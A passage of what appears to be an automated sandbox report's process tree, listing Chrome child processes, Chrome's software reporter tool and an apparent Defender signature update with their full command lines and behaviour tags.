                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7564 /prefetch:8
                                                                                            3⤵
                                                                                              PID:3512
                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7676 /prefetch:8
                                                                                              3⤵
                                                                                                PID:2780
                                                                                              • C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --channel --force-configure-user-settings
                                                                                                3⤵
                                                                                                  PID:4664
                                                                                                  • C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff6cb36a890,0x7ff6cb36a8a0,0x7ff6cb36a8b0
                                                                                                    4⤵
                                                                                                      PID:3160
                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6520 /prefetch:8
                                                                                                    3⤵
                                                                                                      PID:3168
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6400 /prefetch:8
                                                                                                      3⤵
                                                                                                        PID:1096
                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6680 /prefetch:8
                                                                                                        3⤵
                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                        PID:1640
                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5824 /prefetch:8
                                                                                                        3⤵
                                                                                                          PID:4992
                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5900 /prefetch:8
                                                                                                          3⤵
                                                                                                            PID:1740
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6560 /prefetch:8
                                                                                                            3⤵
                                                                                                              PID:3264
                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7784 /prefetch:8
                                                                                                              3⤵
                                                                                                                PID:4128
                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7748 /prefetch:8
                                                                                                                3⤵
                                                                                                                  PID:4432
                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7756 /prefetch:8
                                                                                                                  3⤵
                                                                                                                    PID:2356
                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7792 /prefetch:8
                                                                                                                    3⤵
                                                                                                                      PID:4708
                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5640 /prefetch:8
                                                                                                                      3⤵
                                                                                                                        PID:1908
                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5548 /prefetch:8
                                                                                                                        3⤵
                                                                                                                          PID:644
                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7912 /prefetch:8
                                                                                                                          3⤵
                                                                                                                            PID:1772
                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6792 /prefetch:8
                                                                                                                            3⤵
                                                                                                                              PID:2876
                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7996 /prefetch:8
                                                                                                                              3⤵
                                                                                                                                PID:3724
                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4292 /prefetch:8
                                                                                                                                3⤵
                                                                                                                                  PID:4916
                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4388 /prefetch:8
                                                                                                                                  3⤵
                                                                                                                                    PID:1216
                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4132 /prefetch:8
                                                                                                                                    3⤵
                                                                                                                                      PID:4716
                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4384 /prefetch:8
                                                                                                                                      3⤵
                                                                                                                                        PID:1296
                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6968 /prefetch:8
                                                                                                                                        3⤵
                                                                                                                                          PID:4740
                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6440 /prefetch:8
                                                                                                                                          3⤵
                                                                                                                                            PID:2188
                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7060 /prefetch:8
                                                                                                                                            3⤵
                                                                                                                                              PID:5144
                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7064 /prefetch:8
                                                                                                                                              3⤵
                                                                                                                                                PID:5176
                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6248 /prefetch:8
                                                                                                                                                3⤵
                                                                                                                                                  PID:5208
                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8300 /prefetch:8
                                                                                                                                                  3⤵
                                                                                                                                                    PID:5240
                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8340 /prefetch:8
                                                                                                                                                    3⤵
                                                                                                                                                      PID:5272
                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8472 /prefetch:8
                                                                                                                                                      3⤵
                                                                                                                                                        PID:5304
                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8460 /prefetch:8
                                                                                                                                                        3⤵
                                                                                                                                                          PID:5336
                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=62 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3696 /prefetch:1
                                                                                                                                                          3⤵
                                                                                                                                                            PID:5396
                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=63 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4104 /prefetch:1
                                                                                                                                                            3⤵
                                                                                                                                                              PID:5404
                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=64 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8096 /prefetch:1
                                                                                                                                                              3⤵
                                                                                                                                                                PID:5516
                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=65 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8536 /prefetch:1
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:5572
                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=66 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6716 /prefetch:1
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:5632
                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=67 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8648 /prefetch:1
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:5688
                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8420 /prefetch:8
                                                                                                                                                                      3⤵
                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                      PID:5748
                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=1888 /prefetch:8
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:5804
                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=1432 /prefetch:8
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:5796
                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8104 /prefetch:8
                                                                                                                                                                          3⤵
                                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                          PID:5860
                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8376 /prefetch:8
                                                                                                                                                                          3⤵
                                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                          PID:5892
                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2368 /prefetch:8
                                                                                                                                                                          3⤵
                                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                          PID:5932
                                                                                                                                                                        • C:\Users\Admin\Downloads\mpam-fe.exe
                                                                                                                                                                          "C:\Users\Admin\Downloads\mpam-fe.exe"
                                                                                                                                                                          3⤵
                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                          PID:5992
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\25D0DC46-143B-488C-98C2-DC8B9D115368\MpSigStub.exe
                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\25D0DC46-143B-488C-98C2-DC8B9D115368\MpSigStub.exe /stub 1.1.17800.4 /payload 1.341.920.0 /program C:\Users\Admin\Downloads\mpam-fe.exe
                                                                                                                                                                            4⤵
                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                            PID:6068
                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5592 /prefetch:8
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:5984
                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=8228 /prefetch:8
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:5976
                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3004 /prefetch:8
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:4488
                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5136 /prefetch:8
                                                                                                                                                                                3⤵
                                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                PID:800
                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3492 /prefetch:8
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:3724
                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1612 /prefetch:8
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:1556
                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8436 /prefetch:8
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:2280
                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2164 /prefetch:2
                                                                                                                                                                                      3⤵
                                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                      PID:368
                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6460 /prefetch:8
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:1988
                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\SwReporter\91.263.200\software_reporter_tool.exe
                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\SwReporter\91.263.200\software_reporter_tool.exe" --engine=2 --scan-locations=1,2,3,4,5,6,7,8,10 --disabled-locations=9,11 --session-id=b7tF9G35Q5hbIQp+vLH1qFl2q2n3umAG8WwFgHMw --registry-suffix=ESET --srt-field-trial-group-name=NewCleanerUIExperiment
                                                                                                                                                                                        3⤵
                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                        PID:4456
                                                                                                                                                                                        • \??\c:\users\admin\appdata\local\google\chrome\user data\swreporter\91.263.200\software_reporter_tool.exe
                                                                                                                                                                                          "c:\users\admin\appdata\local\google\chrome\user data\swreporter\91.263.200\software_reporter_tool.exe" --crash-handler "--database=c:\users\admin\appdata\local\Google\Software Reporter Tool" --url=https://clients2.google.com/cr/report --annotation=plat=Win32 --annotation=prod=ChromeFoil --annotation=ver=91.263.200 --initial-client-data=0x260,0x264,0x268,0x23c,0x26c,0x7ff726e33270,0x7ff726e33280,0x7ff726e33290
                                                                                                                                                                                          4⤵
                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                          PID:992
                                                                                                                                                                                        • \??\c:\users\admin\appdata\local\google\chrome\user data\swreporter\91.263.200\software_reporter_tool.exe
                                                                                                                                                                                          "c:\users\admin\appdata\local\google\chrome\user data\swreporter\91.263.200\software_reporter_tool.exe" --use-crash-handler-with-id="\\.\pipe\crashpad_4456_SLLRCPPERHETUIZZ" --sandboxed-process-id=2 --init-done-notifier=700 --sandbox-mojo-pipe-token=15884830132850700323 --mojo-platform-channel-handle=672 --engine=2
                                                                                                                                                                                          4⤵
                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                                          PID:1760
                                                                                                                                                                                        • \??\c:\users\admin\appdata\local\google\chrome\user data\swreporter\91.263.200\software_reporter_tool.exe
                                                                                                                                                                                          "c:\users\admin\appdata\local\google\chrome\user data\swreporter\91.263.200\software_reporter_tool.exe" --use-crash-handler-with-id="\\.\pipe\crashpad_4456_SLLRCPPERHETUIZZ" --sandboxed-process-id=3 --init-done-notifier=916 --sandbox-mojo-pipe-token=10491380151823095238 --mojo-platform-channel-handle=912
                                                                                                                                                                                          4⤵
                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                          PID:5264
                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6264 /prefetch:8
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:996
                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5004 /prefetch:8
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:4792
                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6240 /prefetch:8
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:4516
                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2020 /prefetch:8
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:5648
                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6652 /prefetch:8
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:5472
                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6820 /prefetch:8
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:4208
                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3796 /prefetch:8
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:5496
                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
